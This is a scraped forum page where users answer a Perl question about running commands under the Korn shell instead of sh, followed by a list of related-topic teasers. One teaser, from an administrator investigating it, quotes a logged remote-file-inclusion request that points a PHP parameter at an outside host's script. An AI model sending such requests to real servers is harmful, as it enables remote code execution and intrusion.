Hi all,
I have a perl program which makes a user exit to the O/S (unix, solaris)
to issue a O/S command. I know that the shell it invokes is NOT a
korn shell, because I captured the shell info into a file with a
'ps' command. My question is "How to explicitly specify a Korn shell to
be used by perl?"
Eg of my perl code:
## Begin code snippet..
$cmd = "ps > msgfile ";
open( OUT, "| $cmd ");
close (OUT);
## End code snippet.
....After this piece of code there is a 'msgfile' created and its
contents are:
PID TTY TIME CMD
5528 pts/3 0:00 ksh
5584 pts/3 0:00 trial.pl
5585 pts/3 0:00 sh
The 1st line is my session (korn). The 3rd line is the shell (NOT KORN!)
that PERL invoked to run the process in the 2nd line (trial.pl)
Please help.
regards
Mq 2 5668
In article <cf************ **************@ posting.google. com>, Mohsin
<mo******@hotma il.com> wrote: Hi all, I have a perl program which makes a user exit to the O/S (unix, solaris) to issue a O/S command. I know that the shell it invokes is NOT a korn shell, because I captured the shell info into a file with a 'ps' command. My question is "How to explicitly specify a Korn shell to be used by perl?"
Eg of my perl code:
[snipped]
As far as I know, you can't specify the shell to use. Perl uses the
Bourne shell (sh). To use another shell, write a shell script that
calls the script you want to run under ksh. Then call this new script
from your Perl program. Pass arguments as needed.
FYI: this newsgroup is defunct. Try comp.lang.perl. misc in the future
for better response. mo******@hotmai l.com (Mohsin) wrote in message news:<cf******* *************** ****@posting.go ogle.com>... Subject: How to Control the default Unix Shell from Perl
IIRC you can only do this at build-time in Unix. (On Win32 there's a
registry entry).
My question is "How to explicitly specify a Korn shell to be used by perl?"
That is a different question - you don't want to change the _default_,
just tell Perl to use something else. That you can do.
open( OUT, "| $cmd ");
my $chosen_shell = '/usr/bin/ksh'; # Or just 'ksh' or $ENV{SHELL}
open( OUT,'|-',$chosen_shell ,'-c',$cmd)
or die "Can't spawn $chosen_shell: $!";
Note - the list syntax for pipe-opens is a recent feature.
Working out what unpleasant quoting you'd need on older Perls to get
/bin/sh to run you chosen shell, is left as an exercise for the
reader.
This newsgroup does not exist (see FAQ). Please do not start threads
here. This thread has been closed and replies have been disabled. Please start a new discussion. Similar topics |
by: Ryan M |
last post by:
I've been programming for a while, but most of my experience is on unix.
How do C compilers work on operating systems that weren't written in C?
And that have no libc?
Compiling C on unix seems so easy. Everything in the code either goes
right to machine code, or links to a C library (often libc) or links to
the kernel. Are there libc equivalents on non-unix OSes?
--
Using M2, Opera's revolutionary e-mail client:...
|
by: Thierry Missimilly |
last post by:
Hi Postgres users,
I wonder to know if it is possible to launch a Perl program or a unix
comand in a trigger function.
I have tried to do that in a C trigger developed with the SPI function.
But my examples does not work and i don't have any error messages in the
postgres logfile.
So, i ask you your opinion and an example of code if your trigger works.
Regards,
|
by: tfoxusenet |
last post by:
Hi, I need to encrypt/decrypt some data for my C# application that can
also be read on a unix system, and need a quick, simple, cross-platform
solution I can embed in my own code that doesn't require dependencies
on outside applications.
I don't know much about encryption. What I would like to do is come up
with an encryption/decryption code that will work with my C#/.NET
framework windows code (there are a number of cryptographic...
|
by: Paddy |
last post by:
Hi,
Anyone know of something that can turn an interactive bash or tcsh
session into a test the
way doctest does?
- Cheers, Paddy.
|
by: Ignoramus6539 |
last post by:
There were some strange requests to my server asking for config.php
file (which I do not have in the requested location).
I did some investigation. Seems to be a virus written in perl,
exploiting a vulnerability in php code.
The requests are like this
216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
| |
by: nidhikhandelwal |
last post by:
I am calling a unix shell script from a perl script by using the following system command:
system("./readfile_new.sh");
but it seems the unix script readfile_new.sh is not being called.
Can someone let me know how to call this script in the perl file/
|
by: sunilsn |
last post by:
Hi,
I am newbie to perl, I hope you guys will help me resolve the challenge I am facing.
I have a unix shell script on one UNIX machine say A, and a batch file on windows machine say B. Now I want to write a perl script on windows box which can trigger both, the batch file on B and the script on A
Would you please help me...
|
by: pisupati |
last post by:
Hi,
I need to a solution through perlscript.
I have a unix process (ksh) running in a unix box. In the middle (of this process) there is a need to call a windows program and execute some steps and if true return value of these is true the rest of unix shell script needs to run.
Eventually a perl script will wrap this entire process.
Pls. let me know any suggestions.
|
by: marktang |
last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look !
Part I. Meaning of...
|
by: Hystou |
last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it.
First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
|
by: Oralloy |
last post by:
Hello folks,
I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>".
The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed.
This is as boiled down as I can make it.
Here is my compilation command:
g++-12 -std=c++20 -Wnarrowing bit_field.cpp
Here is the code in...
| |
by: jinu1996 |
last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth.
The Art of Business Website Design
Your website is...
|
by: Hystou |
last post by:
Overview:
Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
|
by: isladogs |
last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM).
In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules.
He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms.
Adolph will...
|
by: TSSRALBI |
last post by:
Hello
I'm a network technician in training and I need your help.
I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs.
The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols.
I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
|
by: adsilva |
last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
|
by: muto222 |
last post by:
How can i add a mobile payment intergratation into php mysql website.
| |